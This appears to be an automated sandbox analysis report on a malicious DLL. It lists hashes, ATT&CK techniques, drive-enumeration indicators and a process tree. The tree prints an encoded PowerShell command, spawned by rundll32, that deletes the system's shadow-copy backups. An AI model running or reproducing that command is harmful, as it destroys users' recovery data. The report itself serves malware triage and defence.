6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78

General

Target

6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll
Size

164KB
MD5

2adb292a5b01999c1c557906c0c0cfe9
SHA1

255a6fe6d6f5896044accf33d851ad6d567950b5
SHA256

6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78
SHA512

c18959881eb5129823e790857607c26cbace28ba0dbf1e49728d2e3978226f70251422eb9b7781fe21e5a9350e85c41abeef32545840bd519e5e72f92d5bfa6d

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1580 rundll32.exe
1356 powershell.exe

pid	process
1580	rundll32.exe
1356	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeBackupPrivilege	632	vssvc.exe
Token: SeRestorePrivilege	632	vssvc.exe
Token: SeAuditPrivilege	632	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1728 wrote to memory of 1580	1728	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1356	1580	rundll32.exe	powershell.exe
PID 1580 wrote to memory of 1356	1580	rundll32.exe	powershell.exe
PID 1580 wrote to memory of 1356	1580	rundll32.exe	powershell.exe
PID 1580 wrote to memory of 1356	1580	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\6d8c7597bee66d3974681089805bd543f4f1b9c8fc778e939ad8a39c35456c78.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:632

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1356-56-0x000007FEFB801000-0x000007FEFB803000-memory.dmp

Filesize
8KB

Download
memory/1356-58-0x00000000022C0000-0x00000000022C2000-memory.dmp

Filesize
8KB

Download
memory/1356-59-0x00000000022C2000-0x00000000022C4000-memory.dmp

Filesize
8KB

Download
memory/1356-60-0x00000000022C4000-0x00000000022C7000-memory.dmp

Filesize
12KB

Download
memory/1356-57-0x000007FEF28E0000-0x000007FEF343D000-memory.dmp

Filesize
11.4MB

Download
memory/1356-61-0x00000000022CB000-0x00000000022EA000-memory.dmp

Filesize
124KB

Download
memory/1580-55-0x0000000074F11000-0x0000000074F13000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads